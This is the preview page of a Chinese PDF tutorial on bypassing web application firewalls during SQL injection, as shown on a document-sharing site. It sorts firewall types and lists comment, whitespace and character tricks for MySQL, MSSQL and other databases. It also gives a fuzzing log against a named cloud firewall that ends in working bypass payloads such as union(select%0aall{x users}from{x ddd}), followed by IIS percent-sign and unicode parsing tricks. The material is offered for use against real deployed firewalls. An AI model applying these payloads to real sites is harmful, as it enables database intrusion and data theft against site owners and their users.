logo资料库

我的WafBypass之路(SQL注入篇).pdf

第1页 / 共33页
第2页 / 共33页
第3页 / 共33页
第4页 / 共33页
第5页 / 共33页
第6页 / 共33页
第7页 / 共33页
第8页 / 共33页
资料共33页,剩余部分请下载后查看
【独家连载】我的WafBypass之道 (SQL注入篇) Author:Tr3jer_CongRong Mail:Tr3jer@gmail.com 0x00 前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常 谈的话题也没什么可写的。很多人一遇到waf就发懵,不知如何是好,能搜到的各 种姿势也是然并卵。但是积累姿势的过程也是迭代的,那么就有了此文,用来总 结一些学习和培养突破waf的思想。可能总结的并不全,但目的并不是讲那些网上 搜来一大把的东西,So…并不会告诉大家现有的姿势,而是突破Waf Bypass思维定 势达到独立去挖掘waf的设计缺陷和如何实现自动化的Waf Bypass(这里只讲主流 waf的黑盒测试) 0x01 搞起 当我们遇到一个waf时,要确定是什么类型的?先来看看主流的这些waf,狗、盾、 神、锁、宝、卫士等等。。。(在测试时不要只在官网测试,因为存在版本差异导致规 则库并不一致)
我们要搞清楚遇到的waf是怎么工作的(很重要)主要分为: 1、云waf: 在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求 uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。 2、主机防护软件: 在主机上预先安装了这种防护软件,可用于扫描和保护主机(废话),和监听 web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴, mod_security、ngx-lua-waf这类开源waf虽然看起来不错,但是有个弱点就是升级 的成本会高一些。 3、硬件ips/ids防护、硬件waf(这里先不讲) 使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流 量清洗和拦截,如果通过再将数据包流给主机。 再来说明下某些潜规则(关系): 百度云加速免费版节点基于CloudFlare 安全宝和百度云加速规则库相似 创宇云安全和腾讯云安全规则库相似 腾讯云安全和门神规则库相似 硬件waf自身漏洞往往一大堆 当Rule相似时,会导致一个问题,就比如和双胞胎结婚晓得吧?嗯。 0x02 司空见惯 我们还需要把各种特性都记牢,在运用时加以变化会很有效果。 数据库特性 : 注释: # -- -- - --+ // /**/
/*letmetest*/ ;%00 利用注释简单绕过云锁的一个案例: 拦截的,但/**/ > 1个就可以绕过了,也就是/**//**/以上都可以。 科学记数法: 空白字符: SQLite3 0A 0D 0C 09 20 MySQL5 09 0A 0B 0C 0D A0 20 PosgresSQL 0A 0D 0C 09 20 Oracle 11g 00 0A 0D 0C 09 20 MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16 ,17,18,19,1A,1B,1C,1D,1E,1F,20 +号: -号: “符号: ~号: !号: @`形式`: 点号.1:
单引号双引号: 括号select(1): 试试union(select)云盾会不会拦截 花括号: 这里举一个云盾的案例,并附上当时fuzz的过程: union+select 拦截 select+from 不拦截 select+from+表名 拦截 union(select) 不拦截 所以可以不用在乎这个union了。 union(select user from ddd) 拦截 union(select%0aall) 不拦截 union(select%0aall user from ddd) 拦截 fuzz下select%0aall与字段之间 + 字段与from之间 + from与表名之间 + 表名与 末尾圆括号之间可插入的符号。 union(select%0aall{user}from{ddd}) 不拦截。
Bypass Payload: 1 union(select%0aall{x users}from{x ddd}) 1 union(select%0adistinct{x users}from{x ddd}) 1 union(select%0adistinctrow{x users}from{x ddd}) 可运用的sql函数&关键字: MySQL: union distinct union distinctrow procedure analyse() updatexml() extracavalue() exp() ceil() atan() sqrt() floor()
ceiling() tan() rand() sign() greatest() 字符串截取函数 Mid(version(),1,1) Substr(version(),1,1) Substring(version(),1,1) Lpad(version(),1,1) Rpad(version(),1,1) Left(version(),1) reverse(right(reverse(version()),1) 字符串连接函数 concat(version(),'|',user()); concat_ws('|',1,2,3) 字符转换 Char(49) Hex('a') Unhex(61) 过滤了逗号 (1)limit处的逗号: limit 1 offset 0 (2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1) MSSQL: IS_SRVROLEMEMBER() IS_MEMBER() HAS_DBACCESS() convert() col_name() object_id() is_srvrolemember() is_member() 字符串截取函数 Substring(@@version,1,1) Left(@@version,1) Right(@@version,1) (2)字符串转换函数 Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass Char('97') exec Mysql BIGINT数据类型构造溢出型报错注入: BIGINT Overflow Error Based SQL Injection 容器特性 : %特性:
asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽略掉,而 没特殊要求的waf当然是不会的: 修复方式应该就是检测这种百分号%的周围是否能拼凑成恶意的关键字吧。 %u特性: iis支持unicode的解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但 waf就不一定了: 修复过后:
分享到:
收藏